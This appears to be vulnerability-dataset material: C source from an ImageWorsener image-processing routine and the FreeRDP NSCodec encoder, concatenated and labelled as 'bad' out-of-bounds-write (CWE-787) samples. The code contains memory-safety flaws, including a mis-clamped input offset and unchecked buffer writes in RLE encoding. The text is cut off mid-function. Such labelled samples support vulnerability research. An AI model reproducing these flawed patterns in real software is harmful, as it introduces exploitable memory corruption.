IW_BKGD_COLOR_SOURCE_FILE; } else if(ctx->req.bkgd_valid) { // Use the background color given by the caller. ctx->bkgd_color_source = IW_BKGD_COLOR_SOURCE_REQ; // Tentatively use the caller's checkerboard setting. // This may be overridden if we can't support checkerboard backgrounds // for some reason. ctx->bkgd_checkerboard = ctx->req.bkgd_checkerboard; } else { // No background color available. If we need one, we'll have to invent one. ctx->bkgd_color_source = IW_BKGD_COLOR_SOURCE_NONE; } if(ctx->bkgd_checkerboard) { if(ctx->bkgd_check_size<1) ctx->bkgd_check_size=1; } if(ctx->req.bkgd_valid) { // Caller told us to apply a background. ctx->apply_bkgd=1; } if(!(ctx->output_profile&IW_PROFILE_TRANSPARENCY)) { if(!ctx->req.bkgd_valid && !ctx->apply_bkgd) { iw_warning(ctx,"This image may have transparency, which is incompatible with the output format. A background color will be applied."); } ctx->apply_bkgd=1; } if(ctx->resize_settings[IW_DIMENSION_H].use_offset || ctx->resize_settings[IW_DIMENSION_V].use_offset) { // If channel offset is enabled, and the image has transparency, we // must apply a solid color background (and we must apply it before // resizing), regardless of whether the user asked for it. It's the // only strategy we support. if(!ctx->req.bkgd_valid && !ctx->apply_bkgd) { iw_warning(ctx,"This image may have transparency, which is incompatible with a channel offset. A background color will be applied."); } ctx->apply_bkgd=1; if(ctx->bkgd_checkerboard && ctx->req.bkgd_checkerboard) { iw_warning(ctx,"Checkerboard backgrounds are not supported when using a channel offset."); ctx->bkgd_checkerboard=0; } ctx->apply_bkgd_strategy=IW_BKGD_STRATEGY_EARLY; return; } if(!ctx->apply_bkgd) { // No reason to apply a background color. return; } if(ctx->bkgd_checkerboard) { // Non-solid-color backgrounds must be applied after resizing. ctx->apply_bkgd_strategy=IW_BKGD_STRATEGY_LATE; return; } // At this point, either Early or Late background application is possible, // and (I think) would, in an idealized situation, yield the same result. // Things that can cause it to be different include // * using a different resampling algorithm for the alpha channel (this is // no longer supported) // * 'intermediate clamping' // // Setting this to Late is the safe, though it is slower than Early. ctx->apply_bkgd_strategy=IW_BKGD_STRATEGY_LATE; } static void iw_set_auto_resizetype(struct iw_context *ctx, int size1, int size2, int dimension) { // If not changing the size, default to "null" resize if we can. // (We can't do that if using a translation or channel offset.) if(size2==size1 && !ctx->resize_settings[dimension].use_offset && !ctx->req.out_true_valid && ctx->resize_settings[dimension].translate==0.0) { iw_set_resize_alg(ctx, dimension, IW_RESIZETYPE_NULL, 1.0, 0.0, 0.0); return; } // Otherwise, default to Catmull-Rom iw_set_resize_alg(ctx, dimension, IW_RESIZETYPE_CUBIC, 1.0, 0.0, 0.5); } static void init_channel_info(struct iw_context *ctx) { int i; ctx->img1_imgtype_logical = ctx->img1.imgtype; if(ctx->resize_settings[IW_DIMENSION_H].edge_policy==IW_EDGE_POLICY_TRANSPARENT || ctx->resize_settings[IW_DIMENSION_V].edge_policy==IW_EDGE_POLICY_TRANSPARENT) { // Add a virtual alpha channel if(ctx->img1.imgtype==IW_IMGTYPE_GRAY) { ctx->img1_imgtype_logical = IW_IMGTYPE_GRAYA; } else if(ctx->img1.imgtype==IW_IMGTYPE_RGB) ctx->img1_imgtype_logical = IW_IMGTYPE_RGBA; } ctx->img1_numchannels_physical = iw_imgtype_num_channels(ctx->img1.imgtype); ctx->img1_numchannels_logical = iw_imgtype_num_channels(ctx->img1_imgtype_logical); ctx->img1_alpha_channel_index = iw_imgtype_alpha_channel_index(ctx->img1_imgtype_logical); iw_set_input_channeltypes(ctx); ctx->img2.imgtype = ctx->img1_imgtype_logical; // default ctx->img2_numchannels = ctx->img1_numchannels_logical; // default ctx->intermed_numchannels = ctx->img1_numchannels_logical; // default for(i=0;i<ctx->img1_numchannels_logical;i++) { ctx->intermed_ci[i].channeltype = ctx->img1_ci[i].channeltype; ctx->intermed_ci[i].corresponding_input_channel = i; ctx->img2_ci[i].channeltype = ctx->img1_ci[i].channeltype; if(i>=ctx->img1_numchannels_physical) { // This is a virtual channel, which is handled by get_raw_sample(). // But some optimizations cause that function to be bypassed, so we // have to disable those optimizations. ctx->img1_ci[i].disable_fast_get_sample = 1; } } } // Set the weights for the grayscale algorithm, if needed. static void prepare_grayscale(struct iw_context *ctx) { switch(ctx->grayscale_formula) { case IW_GSF_STANDARD: ctx->grayscale_formula = IW_GSF_WEIGHTED; iw_set_grayscale_weights(ctx,0.212655,0.715158,0.072187); break; case IW_GSF_COMPATIBLE: ctx->grayscale_formula = IW_GSF_WEIGHTED; iw_set_grayscale_weights(ctx,0.299,0.587,0.114); break; } } // Set up some things before we do the resize, and check to make // sure everything looks okay. static int iw_prepare_processing(struct iw_context *ctx, int w, int h) { int i,j; int output_maxcolorcode_int; int strategy1, strategy2; int flag; if(ctx->output_profile==0) { iw_set_error(ctx,"Output profile not set"); return 0; } if(!ctx->prng) { // TODO: It would be better to only create the random number generator // if we will need it. ctx->prng = iwpvt_prng_create(ctx); } if(ctx->randomize) { // Acquire and record a random seed. This also seeds the PRNG, but // that's irrelevant. It will be re-seeded before it is used. ctx->random_seed = iwpvt_util_randomize(ctx->prng); } if(ctx->req.out_true_valid) { ctx->resize_settings[IW_DIMENSION_H].out_true_size = ctx->req.out_true_width; ctx->resize_settings[IW_DIMENSION_V].out_true_size = ctx->req.out_true_height; } else { ctx->resize_settings[IW_DIMENSION_H].out_true_size = (double)w; ctx->resize_settings[IW_DIMENSION_V].out_true_size = (double)h; } if(!iw_check_image_dimensions(ctx,ctx->img1.width,ctx->img1.height)) { return 0; } if(!iw_check_image_dimensions(ctx,w,h)) { return 0; } if(ctx->to_grayscale) { prepare_grayscale(ctx); } init_channel_info(ctx); ctx->img2.width = w; ctx->img2.height = h; // Figure out the region of the source image to read from. if(ctx->input_start_x<0) ctx->input_start_x=0; if(ctx->input_start_y<0) ctx->input_start_y=0; if(ctx->input_start_x>ctx->img1.width-1) ctx->input_start_x=ctx->img1.width-1; if(ctx->input_start_y>ctx->img1.height-1) ctx->input_start_x=ctx->img1.height-1; if(ctx->input_w<0) ctx->input_w = ctx->img1.width - ctx->input_start_x; if(ctx->input_h<0) ctx->input_h = ctx->img1.height - ctx->input_start_y; if(ctx->input_w<1) ctx->input_w = 1; if(ctx->input_h<1) ctx->input_h = 1; if(ctx->input_w>(ctx->img1.width-ctx->input_start_x)) ctx->input_w=ctx->img1.width-ctx->input_start_x; if(ctx->input_h>(ctx->img1.height-ctx->input_start_y)) ctx->input_h=ctx->img1.height-ctx->input_start_y; // Decide on the output colorspace. if(ctx->req.output_cs_valid) { // Try to use colorspace requested by caller. ctx->img2cs = ctx->req.output_cs; if(ctx->output_profile&IW_PROFILE_ALWAYSLINEAR) { if(ctx->img2cs.cstype!=IW_CSTYPE_LINEAR) { iw_warning(ctx,"Forcing output colorspace to linear; required by the output format."); iw_make_linear_csdescr(&ctx->img2cs); } } } else { // By default, set the output colorspace to sRGB in most cases. if(ctx->output_profile&IW_PROFILE_ALWAYSLINEAR) { iw_make_linear_csdescr(&ctx->img2cs); } else { iw_make_srgb_csdescr_2(&ctx->img2cs); } } // Make sure maxcolorcodes are set. if(ctx->img1.sampletype!=IW_SAMPLETYPE_FLOATINGPOINT) { ctx->input_maxcolorcode_int = (1 << ctx->img1.bit_depth)-1; ctx->input_maxcolorcode = (double)ctx->input_maxcolorcode_int; for(i=0;i<IW_CI_COUNT;i++) { if(ctx->img1_ci[i].maxcolorcode_int<=0) { ctx->img1_ci[i].maxcolorcode_int = ctx->input_maxcolorcode_int; } ctx->img1_ci[i].maxcolorcode_dbl = (double)ctx->img1_ci[i].maxcolorcode_int; if(ctx->img1_ci[i].maxcolorcode_int != ctx->input_maxcolorcode_int) { // This is overzealous: We could enable it per-channel. // But it's probably not worth the trouble. ctx->support_reduced_input_bitdepths = 1; } } } if(ctx->support_reduced_input_bitdepths || ctx->img1.sampletype==IW_SAMPLETYPE_FLOATINGPOINT) { for(i=0;i<ctx->img1_numchannels_physical;i++) { ctx->img1_ci[i].disable_fast_get_sample=1; } } // Set the .use_offset flags, based on whether the caller set any // .channel_offset[]s. for(i=0;i<2;i++) { // horizontal, vertical for(j=0;j<3;j++) { // red, green, blue if(fabs(ctx->resize_settings[i].channel_offset[j])>0.00001) { ctx->resize_settings[i].use_offset=1; } } } if(ctx->to_grayscale && (ctx->resize_settings[IW_DIMENSION_H].use_offset || ctx->resize_settings[IW_DIMENSION_V].use_offset) ) { iw_warning(ctx,"Disabling channel offset, due to grayscale output."); ctx->resize_settings[IW_DIMENSION_H].use_offset=0; ctx->resize_settings[IW_DIMENSION_V].use_offset=0; } decide_how_to_apply_bkgd(ctx); // Decide if we can cache the resize settings. for(i=0;i<2;i++) { if(ctx->resize_settings[i].use_offset || (ctx->apply_bkgd && ctx->apply_bkgd_strategy==IW_BKGD_STRATEGY_EARLY && ctx->resize_settings[i].edge_policy==IW_EDGE_POLICY_TRANSPARENT)) { // If a channel offset is used, we have to disable caching, because the // offset is stored in the cache, and it won't be the same for all channels. // If transparent virtual pixels will be converted to the background color // during the resize, we have to disable caching, because the background // sample value is stored in the cache, and it may be different for each // channel. ctx->resize_settings[i].disable_rrctx_cache=1; } } decide_strategy(ctx,&strategy1,&strategy2); switch(strategy1) { // input-to-intermediate case IW_STRAT1_RGBA_RGBA: ctx->intermed_imgtype = IW_IMGTYPE_RGBA; break; case IW_STRAT1_GA_RGBA: ctx->intermed_imgtype = IW_IMGTYPE_RGBA; ctx->intermed_ci[0].corresponding_input_channel=0; ctx->intermed_ci[1].corresponding_input_channel=0; ctx->intermed_ci[2].corresponding_input_channel=0; ctx->intermed_ci[3].corresponding_input_channel=1; break; case IW_STRAT1_RGB_RGB: case IW_STRAT1_RGBA_RGB: ctx->intermed_imgtype = IW_IMGTYPE_RGB; break; case IW_STRAT1_G_RGB: case IW_STRAT1_GA_RGB: ctx->intermed_imgtype = IW_IMGTYPE_RGB; ctx->intermed_ci[0].corresponding_input_channel=0; ctx->intermed_ci[1].corresponding_input_channel=0; ctx->intermed_ci[2].corresponding_input_channel=0; break; case IW_STRAT1_RGBA_GA: ctx->intermed_imgtype = IW_IMGTYPE_GRAYA; ctx->intermed_ci[0].cvt_to_grayscale=1; ctx->intermed_ci[0].corresponding_input_channel=0; ctx->intermed_ci[1].corresponding_input_channel=3; break; case IW_STRAT1_GA_GA: ctx->intermed_imgtype = IW_IMGTYPE_GRAYA; break; case IW_STRAT1_RGB_G: ctx->intermed_imgtype = IW_IMGTYPE_GRAY; ctx->intermed_ci[0].cvt_to_grayscale=1; ctx->intermed_ci[0].corresponding_input_channel=0; break; case IW_STRAT1_G_G: ctx->intermed_imgtype = IW_IMGTYPE_GRAY; ctx->intermed_ci[0].corresponding_input_channel=0; break; default: iw_set_errorf(ctx,"Internal error, unknown strategy %d",strategy1); return 0; } ctx->intermed_numchannels = iw_imgtype_num_channels(ctx->intermed_imgtype); ctx->intermed_alpha_channel_index = iw_imgtype_alpha_channel_index(ctx->intermed_imgtype); // Start with default mapping: for(i=0;i<ctx->intermed_numchannels;i++) { ctx->intermed_ci[i].corresponding_output_channel = i; } switch(strategy2) { // intermediate-to-output case IW_STRAT2_RGBA_RGBA: ctx->img2.imgtype = IW_IMGTYPE_RGBA; break; case IW_STRAT2_RGB_RGB: ctx->img2.imgtype = IW_IMGTYPE_RGB; break; case IW_STRAT2_RGBA_RGB: ctx->img2.imgtype = IW_IMGTYPE_RGB; ctx->intermed_ci[3].corresponding_output_channel= -1; break; case IW_STRAT2_GA_GA: ctx->img2.imgtype = IW_IMGTYPE_GRAYA; break; case IW_STRAT2_G_G: ctx->img2.imgtype = IW_IMGTYPE_GRAY; break; case IW_STRAT2_GA_G: ctx->img2.imgtype = IW_IMGTYPE_GRAY; ctx->intermed_ci[1].corresponding_output_channel= -1; break; default: iw_set_error(ctx,"Internal error"); return 0; } ctx->img2_numchannels = iw_imgtype_num_channels(ctx->img2.imgtype); iw_set_intermed_channeltypes(ctx); iw_set_out_channeltypes(ctx); // If an alpha channel is present, set a flag on the other channels to indicate // that we have to process them differently. if(IW_IMGTYPE_HAS_ALPHA(ctx->intermed_imgtype)) { for(i=0;i<ctx->intermed_numchannels;i++) { if(ctx->intermed_ci[i].channeltype!=IW_CHANNELTYPE_ALPHA) ctx->intermed_ci[i].need_unassoc_alpha_processing = 1; } } decide_output_bit_depth(ctx); if(ctx->img2.sampletype==IW_SAMPLETYPE_FLOATINGPOINT) { flag=0; for(i=0;i<IW_NUM_CHANNELTYPES;i++) { if(ctx->req.color_count[i]) flag=1; } if(flag) { iw_warning(ctx,"Posterization is not supported with floating point output."); } } else { output_maxcolorcode_int = (1 << ctx->img2.bit_depth)-1; // Set the default maxcolorcodes for(i=0;i<ctx->img2_numchannels;i++) { ctx->img2_ci[i].maxcolorcode_int = output_maxcolorcode_int; } // Check for special "reduced" colorcodes. if((ctx->output_profile&IW_PROFILE_REDUCEDBITDEPTHS)) { for(i=0;i<ctx->img2_numchannels;i++) { int mccr; mccr = ctx->req.output_maxcolorcode[ctx->img2_ci[i].channeltype]; if(mccr>0) { if(mccr>output_maxcolorcode_int) mccr=output_maxcolorcode_int; ctx->img2_ci[i].maxcolorcode_int = mccr; } } } // Set some flags, and set the floating-point versions of the maxcolorcodes. for(i=0;i<ctx->img2_numchannels;i++) { if(ctx->img2_ci[i].maxcolorcode_int != output_maxcolorcode_int) { ctx->reduced_output_maxcolor_flag = 1; ctx->disable_output_lookup_tables = 1; } ctx->img2_ci[i].maxcolorcode_dbl = (double)ctx->img2_ci[i].maxcolorcode_int; } } for(i=0;i<ctx->img2_numchannels;i++) { ctx->img2_ci[i].color_count = ctx->req.color_count[ctx->img2_ci[i].channeltype]; if(ctx->img2_ci[i].color_count) { iw_restrict_to_range(2,ctx->img2_ci[i].maxcolorcode_int,&ctx->img2_ci[i].color_count); } if(ctx->img2_ci[i].color_count==1+ctx->img2_ci[i].maxcolorcode_int) { ctx->img2_ci[i].color_count = 0; } ctx->img2_ci[i].ditherfamily = ctx->ditherfamily_by_channeltype[ctx->img2_ci[i].channeltype]; ctx->img2_ci[i].dithersubtype = ctx->dithersubtype_by_channeltype[ctx->img2_ci[i].channeltype]; } // Scan the output channels to see whether certain types of dithering are used. for(i=0;i<ctx->img2_numchannels;i++) { if(ctx->img2_ci[i].ditherfamily==IW_DITHERFAMILY_ERRDIFF) { ctx->uses_errdiffdither=1; } } if(!ctx->support_reduced_input_bitdepths && ctx->img1.sampletype==IW_SAMPLETYPE_UINT) { iw_make_x_to_linear_table(ctx,&ctx->input_color_corr_table,&ctx->img1,&ctx->img1cs); } if(ctx->img1_bkgd_label_set) { // Convert the background color to a linear colorspace. for(i=0;i<3;i++) { ctx->img1_bkgd_label_lin.c[i] = x_to_linear_sample(ctx->img1_bkgd_label_inputcs.c[i],&ctx->img1cs); } ctx->img1_bkgd_label_lin.c[3] = ctx->img1_bkgd_label_inputcs.c[3]; } if(ctx->apply_bkgd) { prepare_apply_bkgd(ctx); } if(ctx->req.output_rendering_intent==IW_INTENT_UNKNOWN) { // User didn't request a specific intent; copy from input file. ctx->img2.rendering_intent = ctx->img1.rendering_intent; } else { ctx->img2.rendering_intent = ctx->req.output_rendering_intent; } if(ctx->resize_settings[IW_DIMENSION_H].family==IW_RESIZETYPE_AUTO) { iw_set_auto_resizetype(ctx,ctx->input_w,ctx->img2.width,IW_DIMENSION_H); } if(ctx->resize_settings[IW_DIMENSION_V].family==IW_RESIZETYPE_AUTO) { iw_set_auto_resizetype(ctx,ctx->input_h,ctx->img2.height,IW_DIMENSION_V); } if(IW_IMGTYPE_HAS_ALPHA(ctx->img2.imgtype)) { if(!ctx->opt_strip_alpha) { // If we're not allowed to strip the alpha channel, also disable // other optimizations that would implicitly remove the alpha // channel. (The optimization routines may do weird things if we // were to allow this.) ctx->opt_palette = 0; ctx->opt_binary_trns = 0; } } return 1; } IW_IMPL(int) iw_process_image(struct iw_context *ctx) { int ret; int retval = 0; if(ctx->use_count>0) { iw_set_error(ctx,"Internal: Incorrect attempt to reprocess image"); goto done; } ctx->use_count++; ret = iw_prepare_processing(ctx,ctx->canvas_width,ctx->canvas_height); if(!ret) goto done; ret = iw_process_internal(ctx); if(!ret) goto done; iwpvt_optimize_image(ctx); retval = 1; done: return retval; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_3368_1
crossvul-cpp_data_bad_674_2
/** * FreeRDP: A Remote Desktop Protocol Implementation * NSCodec Encoder * * Copyright 2012 Vic Lee * Copyright 2016 Armin Novak <armin.novak@thincast.com> * Copyright 2016 Thincast Technologies GmbH * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include <stdio.h> #include <stdlib.h> #include <string.h> #include <winpr/crt.h> #include <freerdp/codec/nsc.h> #include <freerdp/codec/color.h> #include "nsc_types.h" #include "nsc_encode.h" static BOOL nsc_context_initialize_encode(NSC_CONTEXT* context) { int i; UINT32 length; UINT32 tempWidth; UINT32 tempHeight; tempWidth = ROUND_UP_TO(context->width, 8); tempHeight = ROUND_UP_TO(context->height, 2); /* The maximum length a decoded plane can reach in all cases */ length = tempWidth * tempHeight + 16; if (length > context->priv->PlaneBuffersLength) { for (i = 0; i < 5; i++) { BYTE* tmp = (BYTE*) realloc(context->priv->PlaneBuffers[i], length); if (!tmp) goto fail; context->priv->PlaneBuffers[i] = tmp; } context->priv->PlaneBuffersLength = length; } if (context->ChromaSubsamplingLevel) { context->OrgByteCount[0] = tempWidth * context->height; context->OrgByteCount[1] = tempWidth * tempHeight / 4; context->OrgByteCount[2] = tempWidth * tempHeight / 4; context->OrgByteCount[3] = context->width * context->height; } else { context->OrgByteCount[0] = context->width * context->height; context->OrgByteCount[1] = context->width * context->height; context->OrgByteCount[2] = context->width * context->height; context->OrgByteCount[3] = context->width * context->height; } return TRUE; fail: if (length > context->priv->PlaneBuffersLength) { for (i = 0; i < 5; i++) free(context->priv->PlaneBuffers[i]); } return FALSE; } static void nsc_encode_argb_to_aycocg(NSC_CONTEXT* context, const BYTE* data, UINT32 scanline) { UINT16 x; UINT16 y; UINT16 rw; BYTE ccl; const BYTE* src; BYTE* yplane = NULL; BYTE* coplane = NULL; BYTE* cgplane = NULL; BYTE* aplane = NULL; INT16 r_val; INT16 g_val; INT16 b_val; BYTE a_val; UINT32 tempWidth; tempWidth = ROUND_UP_TO(context->width, 8); rw = (context->ChromaSubsamplingLevel ? tempWidth : context->width); ccl = context->ColorLossLevel; for (y = 0; y < context->height; y++) { src = data + (context->height - 1 - y) * scanline; yplane = context->priv->PlaneBuffers[0] + y * rw; coplane = context->priv->PlaneBuffers[1] + y * rw; cgplane = context->priv->PlaneBuffers[2] + y * rw; aplane = context->priv->PlaneBuffers[3] + y * context->width; for (x = 0; x < context->width; x++) { switch (context->format) { case PIXEL_FORMAT_BGRX32: b_val = *src++; g_val = *src++; r_val = *src++; src++; a_val = 0xFF; break; case PIXEL_FORMAT_BGRA32: b_val = *src++; g_val = *src++; r_val = *src++; a_val = *src++; break; case PIXEL_FORMAT_RGBX32: r_val = *src++; g_val = *src++; b_val = *src++; src++; a_val = 0xFF; break; case PIXEL_FORMAT_RGBA32: r_val = *src++; g_val = *src++; b_val = *src++; a_val = *src++; break; case PIXEL_FORMAT_BGR24: b_val = *src++; g_val = *src++; r_val = *src++; a_val = 0xFF; break; case PIXEL_FORMAT_RGB24: r_val = *src++; g_val = *src++; b_val = *src++; a_val = 0xFF; break; case PIXEL_FORMAT_BGR16: b_val = (INT16)(((*(src + 1)) & 0xF8) | ((*(src + 1)) >> 5)); g_val = (INT16)((((*(src + 1)) & 0x07) << 5) | (((*src) & 0xE0) >> 3)); r_val = (INT16)((((*src) & 0x1F) << 3) | (((*src) >> 2) & 0x07)); a_val = 0xFF; src += 2; break; case PIXEL_FORMAT_RGB16: r_val = (INT16)(((*(src + 1)) & 0xF8) | ((*(src + 1)) >> 5)); g_val = (INT16)((((*(src + 1)) & 0x07) << 5) | (((*src) & 0xE0) >> 3)); b_val = (INT16)((((*src) & 0x1F) << 3) | (((*src) >> 2) & 0x07)); a_val = 0xFF; src += 2; break; case PIXEL_FORMAT_A4: { int shift; BYTE idx; shift = (7 - (x % 8)); idx = ((*src) >> shift) & 1; idx |= (((*(src + 1)) >> shift) & 1) << 1; idx |= (((*(src + 2)) >> shift) & 1) << 2; idx |= (((*(src + 3)) >> shift) & 1) << 3; idx *= 3; r_val = (INT16) context->palette[idx]; g_val = (INT16) context->palette[idx + 1]; b_val = (INT16) context->palette[idx + 2]; if (shift == 0) src += 4; } a_val = 0xFF; break; case PIXEL_FORMAT_RGB8: { int idx = (*src) * 3; r_val = (INT16) context->palette[idx]; g_val = (INT16) context->palette[idx + 1]; b_val = (INT16) context->palette[idx + 2]; src++; } a_val = 0xFF; break; default: r_val = g_val = b_val = a_val = 0; break; } *yplane++ = (BYTE)((r_val >> 2) + (g_val >> 1) + (b_val >> 2)); /* Perform color loss reduction here */ *coplane++ = (BYTE)((r_val - b_val) >> ccl); *cgplane++ = (BYTE)((-(r_val >> 1) + g_val - (b_val >> 1)) >> ccl); *aplane++ = a_val; } if (context->ChromaSubsamplingLevel && (x % 2) == 1) { *yplane = *(yplane - 1); *coplane = *(coplane - 1); *cgplane = *(cgplane - 1); } } if (context->ChromaSubsamplingLevel && (y % 2) == 1) { yplane = context->priv->PlaneBuffers[0] + y * rw; coplane = context->priv->PlaneBuffers[1] + y * rw; cgplane = context->priv->PlaneBuffers[2] + y * rw; CopyMemory(yplane, yplane - rw, rw); CopyMemory(coplane, coplane - rw, rw); CopyMemory(cgplane, cgplane - rw, rw); } } static void nsc_encode_subsampling(NSC_CONTEXT* context) { UINT16 x; UINT16 y; BYTE* co_dst; BYTE* cg_dst; INT8* co_src0; INT8* co_src1; INT8* cg_src0; INT8* cg_src1; UINT32 tempWidth; UINT32 tempHeight; tempWidth = ROUND_UP_TO(context->width, 8); tempHeight = ROUND_UP_TO(context->height, 2); for (y = 0; y < tempHeight >> 1; y++) { co_dst = context->priv->PlaneBuffers[1] + y * (tempWidth >> 1); cg_dst = context->priv->PlaneBuffers[2] + y * (tempWidth >> 1); co_src0 = (INT8*) context->priv->PlaneBuffers[1] + (y << 1) * tempWidth; co_src1 = co_src0 + tempWidth; cg_src0 = (INT8*) context->priv->PlaneBuffers[2] + (y << 1) * tempWidth; cg_src1 = cg_src0 + tempWidth; for (x = 0; x < tempWidth >> 1; x++) { *co_dst++ = (BYTE)(((INT16) * co_src0 + (INT16) * (co_src0 + 1) + (INT16) * co_src1 + (INT16) * (co_src1 + 1)) >> 2); *cg_dst++ = (BYTE)(((INT16) * cg_src0 + (INT16) * (cg_src0 + 1) + (INT16) * cg_src1 + (INT16) * (cg_src1 + 1)) >> 2); co_src0 += 2; co_src1 += 2; cg_src0 += 2; cg_src1 += 2; } } } void nsc_encode(NSC_CONTEXT* context, const BYTE* bmpdata, UINT32 rowstride) { nsc_encode_argb_to_aycocg(context, bmpdata, rowstride); if (context->ChromaSubsamplingLevel) { nsc_encode_subsampling(context); } } static UINT32 nsc_rle_encode(BYTE* in, BYTE* out, UINT32 originalSize) { UINT32 left; UINT32 runlength = 1; UINT32 planeSize = 0; left = originalSize; /** * We quit the loop if the running compressed size is larger than the original. * In such cases data will be sent uncompressed. */ while (left > 4 && planeSize < originalSize - 4) { if (left > 5 && *in == *(in + 1)) { runlength++; } else if (runlength == 1) { *out++ = *in; planeSize++; } else if (runlength < 256) { *out++ = *in; *out++ = *in; *out++ = runlength - 2; runlength = 1; planeSize += 3; } else { *out++ = *in; *out++ = *in; *out++ = 0xFF; *out++ = (runlength & 0x000000FF); *out++ = (runlength & 0x0000FF00) >> 8; *out++ = (runlength & 0x00FF0000) >> 16; *out++ = (runlength & 0xFF000000) >> 24; runlength = 1; planeSize += 7; } in++; left--; } if (planeSize < originalSize - 4) CopyMemory(out, in, 4); planeSize += 4; return planeSize; } static void nsc_rle_compress_data(NSC_CONTEXT* context) { UINT16 i; UINT32 planeSize; UINT32 originalSize; for (i = 0; i < 4; i++) { originalSize = context->OrgByteCount[i]; if (originalSize == 0) { planeSize = 0; } else { planeSize = nsc_rle_encode(context->priv->PlaneBuffers[i], context->priv->PlaneBuffers[4], originalSize); if (planeSize < originalSize) CopyMemory(context->priv->PlaneBuffers[i], context->priv->PlaneBuffers[4], planeSize); else planeSize = originalSize; } context->PlaneByteCount[i] = planeSize; } } UINT32 nsc_compute_byte_count(NSC_CONTEXT* context, UINT32* ByteCount, UINT32 width, UINT32 height) { UINT32 tempWidth; UINT32 tempHeight; UINT32 maxPlaneSize; tempWidth = ROUND_UP_TO(width, 8); tempHeight = ROUND_UP_TO(height, 2); maxPlaneSize = tempWidth * tempHeight + 16; if (context->ChromaSubsamplingLevel) { ByteCount[0] = tempWidth * height; ByteCount[1] = tempWidth * tempHeight / 4; ByteCount[2] = tempWidth * tempHeight / 4; ByteCount[3] = width * height; } else { ByteCount[0] = width * height; ByteCount[1] = width * height; ByteCount[2] = width * height; ByteCount[3] = width * height; } return maxPlaneSize; } NSC_MESSAGE* nsc_encode_messages(NSC_CONTEXT* context, const BYTE* data, UINT32 x, UINT32 y, UINT32 width, UINT32 height, UINT32 scanline, UINT32* numMessages, UINT32 maxDataSize) { UINT32 i, j, k; UINT32 dataOffset; UINT32 rows, cols; UINT32 BytesPerPixel; UINT32 MaxRegionWidth; UINT32 MaxRegionHeight; UINT32 ByteCount[4]; UINT32 MaxPlaneSize; UINT32 MaxMessageSize; NSC_MESSAGE* messages; UINT32 PaddedMaxPlaneSize; k = 0; MaxRegionWidth = 64 * 4; MaxRegionHeight = 64 * 2; BytesPerPixel = GetBytesPerPixel(context->format); rows = (width + (MaxRegionWidth - (width % MaxRegionWidth))) / MaxRegionWidth; cols = (height + (MaxRegionHeight - (height % MaxRegionHeight))) / MaxRegionHeight; *numMessages = rows * cols; MaxPlaneSize = nsc_compute_byte_count(context, (UINT32*) ByteCount, width, height); MaxMessageSize = ByteCount[0] + ByteCount[1] + ByteCount[2] + ByteCount[3] + 20; maxDataSize -= 1024; /* reserve enough space for headers */ messages = (NSC_MESSAGE*) calloc(*numMessages, sizeof(NSC_MESSAGE)); if (!messages) return NULL; for (i = 0; i < rows; i++) { for (j = 0; j < cols; j++) { messages[k].x = x + (i * MaxRegionWidth); messages[k].y = y + (j * MaxRegionHeight); messages[k].width = (i < (rows - 1)) ? MaxRegionWidth : width - (i * MaxRegionWidth); messages[k].height = (j < (cols - 1)) ? MaxRegionHeight : height - (j * MaxRegionHeight); messages[k].data = data; messages[k].scanline = scanline; messages[k].MaxPlaneSize = nsc_compute_byte_count(context, (UINT32*) messages[k].OrgByteCount, messages[k].width, messages[k].height); k++; } } *numMessages = k; for (i = 0; i < *numMessages; i++) { PaddedMaxPlaneSize = messages[i].MaxPlaneSize + 32; messages[i].PlaneBuffer = (BYTE*) BufferPool_Take(context->priv->PlanePool, PaddedMaxPlaneSize * 5); if (!messages[i].PlaneBuffer) goto fail; messages[i].PlaneBuffers[0] = (BYTE*) & (messages[i].PlaneBuffer[(PaddedMaxPlaneSize * 0) + 16]); messages[i].PlaneBuffers[1] = (BYTE*) & (messages[i].PlaneBuffer[(PaddedMaxPlaneSize * 1) + 16]); messages[i].PlaneBuffers[2] = (BYTE*) & (messages[i].PlaneBuffer[(PaddedMaxPlaneSize * 2) + 16]); messages[i].PlaneBuffers[3] = (BYTE*) & (messages[i].PlaneBuffer[(PaddedMaxPlaneSize * 3) + 16]); messages[i].PlaneBuffers[4] = (BYTE*) & (messages[i].PlaneBuffer[(PaddedMaxPlaneSize * 4) + 16]); } for (i = 0; i < *numMessages; i++) { context->width = messages[i].width; context->height = messages[i].height; context->OrgByteCount[0] = messages[i].OrgByteCount[0]; context->OrgByteCount[1] = messages[i].OrgByteCount[1]; context->OrgByteCount[2] = messages[i].OrgByteCount[2]; context->OrgByteCount[3] = messages[i].OrgByteCount[3]; context->priv->PlaneBuffersLength = messages[i].MaxPlaneSize; context->priv->PlaneBuffers[0] = messages[i].PlaneBuffers[0]; context->priv->PlaneBuffers[1] = messages[i].PlaneBuffers[1]; context->priv->PlaneBuffers[2] = messages[i].PlaneBuffers[2]; context->priv->PlaneBuffers[3] = messages[i].PlaneBuffers[3]; context->priv->PlaneBuffers[4] = messages[i].PlaneBuffers[4]; dataOffset = (messages[i].y * messages[i].scanline) + (messages[i].x * BytesPerPixel); PROFILER_ENTER(context->priv->prof_nsc_encode) context->encode(context, &data[dataOffset], scanline); PROFILER_EXIT(context->priv->prof_nsc_encode) PROFILER_ENTER(context->priv->prof_nsc_rle_compress_data) nsc_rle_compress_data(context); PROFILER_EXIT(context->priv->prof_nsc_rle_compress_data) messages[i].LumaPlaneByteCount = context->PlaneByteCount[0]; messages[i].OrangeChromaPlaneByteCount = context->PlaneByteCount[1]; messages[i].GreenChromaPlaneByteCount = context->PlaneByteCount[2]; messages[i].AlphaPlaneByteCount = context->PlaneByteCount[3]; messages[i].ColorLossLevel = context->ColorLossLevel; messages[i].ChromaSubsamplingLevel = context->ChromaSubsamplingLevel; } context->priv->PlaneBuffers[0] = NULL; context->priv->PlaneBuffers[1] = NULL; context->priv->PlaneBuffers[2] = NULL; context->priv->PlaneBuffers[3] = NULL; context->priv->PlaneBuffers[4] = NULL; return messages; fail: for (i = 0; i < *numMessages; i++) BufferPool_Return(context->priv->PlanePool, messages[i].PlaneBuffer); free(messages); return NULL; } BOOL nsc_write_message(NSC_CONTEXT* 